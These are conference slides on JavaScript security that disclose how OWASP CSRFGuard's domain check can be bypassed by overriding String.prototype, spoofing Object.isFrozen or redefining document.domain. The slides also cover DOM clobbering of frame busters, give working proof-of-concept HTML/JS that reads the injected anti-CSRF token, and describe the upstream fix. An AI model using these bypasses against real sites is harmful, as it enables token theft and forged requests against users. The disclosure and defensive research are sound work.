JS Suicide: Using JavaScript Security Features to Kill JS Security

Ahamed Nafeez
Agenda

JavaScript of all things

Objects and ECMAScript 5

The Principle of Unobtrusive JavaScript

The sad story of OWASP CSRFGuard

DOM Clobbering

Hunting down insecure DOM Properties

Domstorm v0.9 Beta
What to expect today?

This talk is about:
• Using JavaScript’s features to attack its implementations.
• Bypassing OWASP CSRFGuard’s protection.
• DOM Clobbering.

This talk is NOT about, how to do
• Cross site scripting
• Cross site request forgery
• Or the usual stuff you hear in JS Security like eval, Global Objects etc.
#whoami

Ahamed Nafeez

Security Engineer by day, with above average interest in Web and Networks.

I believe, Defending and Building secure software is harder than attacking.

blog.skepticfx.com

*This talk does not represent the view of my employer.*
JavaScript of all things
Enough JS Primer for today

Dynamic language

Object-based

Functions are first class citizens
Native Objects
Object
Array
Number
Host Objects
DOM - Browsers
http, dns - Nodejs
ECMAScript 5
Tamper-Proof Objects

var point =
{ a: 1, b: 2 }
Object.defineProperty(point, 'a', {
  get: function() {
    return 'Always faked'
  }
});
point.a; // ‘Always Faked’
point.a = 200;
point.a; // ‘Always Faked’
Object.preventExtensions(point)

point.c = 3;

// Error: Cannot set Property
Object.seal(point)

delete point.a;

// Error: Cannot delete Property
Object.freeze(point)

point.a = 100;

// Error: Cannot change Property
The principle of unobtrusive JavaScript
Going Unobtrusive

<input type="button" id="btn" onclick="alert('Test')" />

// The Behaviour and Presentation are mixed.

// Go Unobtrusive
<input type="button" id="btn" />

<script>
var el = document.getElementById('btn');
el.onclick = function(){
    alert("I don't Mix");
};
</script>
Almost Static HTML
Dynamic Data over JavaScript
via XHR, JSON etc
Cached HTML pages
Non-Cached JavaScript pages
Where do I put my dynamic + secret artifacts?
OWASP CSRFGuard

Synchroniser token pattern.

Injects ANTI-CSRF tokens in to pages dynamically

Completely compatible with the principle of UnObtrusive JavaScript
Where did they keep their tokens?
<script src="http://good.com/owasp/csrfguard.js"></script>

addLoadEvent(function() {
  injectTokens("OWASP_CSRFTOKEN", "KFEV-VGXI-9Y7W-D3LX-L96D-0L0Y-GYST-FWGU");
});
Smells fishy!
An attacker could load this JS file from a Cross-Domain website and steal this token.
The library did protect against that

/**
 * Only inject the tokens if the JavaScript was referenced from HTML that
 * was served by us. Otherwise, the code was referenced from malicious HTML
 * which may be trying to steal tokens using JavaScript hijacking techniques.
 * The token is now removed and fetched using another POST request to solve,
 * the token hijacking problem.
 */
if(isValidDomain(document.domain, "good.com")) {
Let's introspect `isValidDomain()`

```javascript
/** check if valid domain based on domainStrict **/
function isValidDomain(current, target) {
    var result = false;

    /** check exact or subdomain match **/
    if(current === target) {
        result = true;
    } else if(false === false) {
        if(target.charAt(0) === '.') {
            result = current.endsWith(target);
        } else {
            result = current.endsWith('.' + target);
        }
    }

    return result;
}
```

If this returns True, the check is bypassed.
Custom String.prototype

/** string utility functions **/
String.prototype.startsWith = function(prefix) {
    return this.indexOf(prefix) === 0;
}

String.prototype.endsWith = function(suffix) {
    return this.match(suffix+'$') === suffix;
};
Bypass 1 - Prototype Overriding

override.js

```javascript
<string.prototype.endsWith = function(suffix) {
    return true;
};
String.prototype.startsWith = function(suffix) {
    return true;
};
Object.freeze(String.prototype);
</script>
```

Always return True

Freeze the String.prototype Object, So CSRFGuard cannot redefine it.
Bypass 1 - Continued . . .

Load the CSRFGuard JS File from good.com

```html
<script src="http://good.com/owasp/csrfguard.js"></script>
<form action="http://www.bad.com" method="post">
  <input type="submit" value="Sample Form" />
</form>

<script>
setTimeout(function(){
  var stolen_token =
    document.getElementsByTagName('form')[0].OWASP_CSRFTOKEN.value;
  alert("Your CSRF Token is: " + stolen_token);
}, 0);
</script>
```

Walk the DOM and read the CSRF Token injected by the library.
Let's attempt to fix this

Security Fix: Check if Object is frozen already
This is a check added to make sure that Object.freeze(String.prototype) is not called before. This is a security change which makes sure that cross-domain websites don't override our String Objects.

```javascript
/** Prevent cross-domain websites from freezing String.prototype **/
if (Object.isFrozen(String.prototype)) {
  alert('OWASP CSRFGuard was disabled due to a security reason. ');
  console.log('The page which loaded this script did a Object.freeze(String.prototype)
  return;
}
```

Object.isFrozen() tells whether an Object is already frozen.
Did you know?

`Object.isFrozen()` can be spoofed as well?
Attacker can return, ‘false’ always

```javascript
Object.isFrozen(String.prototype); // false
Object.freeze(String.prototype)
Object.isFrozen(String.prototype); // true
Object.isFrozen = function(x){return false;}
Object.isFrozen(String.prototype); // false
Object.isFrozen(String.prototype); // false
Object.freeze(String.prototype)
Object.isFrozen(String.prototype); // false
```
Bypassing the isFrozen() Fix

```javascript
<script>
Object.isFrozen = function(x){return false;}
String.prototype.endsWith = function(suffix) {
    return true;
};
String.prototype.startsWith = function(suffix) {
    return true;
};
Object.freeze(String.prototype);
</script>
```
Let's try another way to bypass this whole situation.

Just for Fun.
Revisiting the Check

```javascript
/**
 * Only inject the tokens if the JavaScript was referenced from HTML that
 * was served by us. Otherwise, the code was referenced from malicious HTML
 * which may be trying to steal tokens using JavaScript hijacking techniques.
 * The token is now removed and fetched using another POST request to solve,
 * the token hijacking problem.
 */
if(isValidDomain(document.domain, "good.com")) {
```

The whole check depends on the value of `document.domain`
Wait! document.domain is a lie

```javascript
Object.defineProperty( document, 'domain', {
    get: function() {
        return 'good.com'
    }
});
```
Bypass 2

```html
<script>
Object.defineProperty(document, 'domain', {
  get: function(){return 'good.com'}
});
</script>

<script type="text/javascript" src="http://good.com/owasp/csrfguard.js"></script>

<form action="http://www.bad.com" method="post">
<input type="submit" value="Sample Form" />
</form>

<script>
setTimeout(function(){
  var stolen_token = document.getElementsByTagName('form')[0].OWASP_CSRFTOKEN.value;
  alert("Your CSRF Token is: "+ stolen_token);
};
</script>
</html>

Make document.domain always return good.com
How to deal with this situation?
Do not Hard Code the Dynamic + Secret artifacts.

1. Embed them inside your DOM such as META tags and read from JS

```html
<meta content="authenticity_token" name="csrf-param" />
<meta content="63969ap3x/+defgeqclJa0l2sjEY645t0u+tHIHxY8=" name="csrf-token" />
```

OR

2. Send an XHR request and read it. So the token is protected by Same Origin Policy

```javascript
xhr.open("POST", "getToken", false);
xhr.setRequestHeader("FETCH-CSRF-TOKEN", "1");
xhr.send(null);

var token_pair = xhr.responseText;
token_pair = token_pair.split(":");
var token_name = token_pair[0];
var token_value = token_pair[1];
```
Upgrade to CSRFGuard 3.1

OWASP CSRFGuard 3.1

http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project

Last News

An important security fix has been applied to the CSRFGuard version 3.0.

Do a token pre-fetch on every page.

Instead of hard coding the CSRF token, we send a POST request to fetch the token and populate the JS variable.

Thanks to Ahamed Nafeez for this fix.
DOM Clobbering
Names and IDs of form controls are treated as properties to the FORM Element.

```html
<form name="hello">
  <input type="text" name="world">
  <input type="submit" name="submit">
</form>

<script>
var a = hello.world; // Refers to the Text Input Node
</script>

Think about JS Frame Busters

Used to prevent against **UI Redressing attacks**. Some people still use this along side, the **X-Frame-Options** header.
BRACE YOURSELVES

INCOMING XSS
If an Attacker can control form fields

```html
<form name=self location="javascript:alert(1)"></form>

<script>
  if(top!=self){
    top.location = self.location
  }
</script>
```
The DOM is a Mess!

@garethheyes -
http://www.thespanner.co.uk/2013/05/16/dom-clobbering/
Hunting down Objects which can be tampered
Look for the ‘configurable’ property
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Is Configurable?</th>
</tr>
</thead>
<tbody>
<tr>
<td>window.location.replace</td>
<td>false</td>
</tr>
<tr>
<td>window.location.assign</td>
<td>false</td>
</tr>
<tr>
<td>window.location.ancestorOrigins</td>
<td>true</td>
</tr>
<tr>
<td>window.location.origin</td>
<td>true</td>
</tr>
<tr>
<td>window.location.hash</td>
<td>true</td>
</tr>
<tr>
<td>window.location.search</td>
<td>true</td>
</tr>
<tr>
<td>window.location.pathname</td>
<td>true</td>
</tr>
<tr>
<td>window.location.port</td>
<td>true</td>
</tr>
<tr>
<td>window.location.hostname</td>
<td>true</td>
</tr>
<tr>
<td>window.location.host</td>
<td>true</td>
</tr>
<tr>
<td>window.location.protocol</td>
<td>true</td>
</tr>
<tr>
<td>window.location.href</td>
<td>false</td>
</tr>
<tr>
<td>window.location.reload</td>
<td>false</td>
</tr>
<tr>
<td>window.location.toString</td>
<td>false</td>
</tr>
<tr>
<td>window.location.valueOf</td>
<td>false</td>
</tr>
</tbody>
</table>
Domstorm

v0.9 Beta - http://domstorm.skepticfx.com
Github - https://github.com/skepticfx/domstorm

A tool / dashboard for testing and collecting all DOM related shenanigans.

Similar to Shazzer, but for the DOM.
Things to keep in mind

Today, a developer can only rely on `location.href`, as the only trusted source of location.

Every other location properties can be spoofed and played around with.

You can try fuzzing various different properties and use them in your pen tests / research accordingly.
You should follow

Mario, @0x6D6172696F

Gareth Heyes, @garethheyes

Yosuke Hasegawa, @hasegawayosuke

And a few more, that I don’t have space to mention here.
THANK YOU

@SKEPTIC_FX

KEEP STORMING THE DOM :)}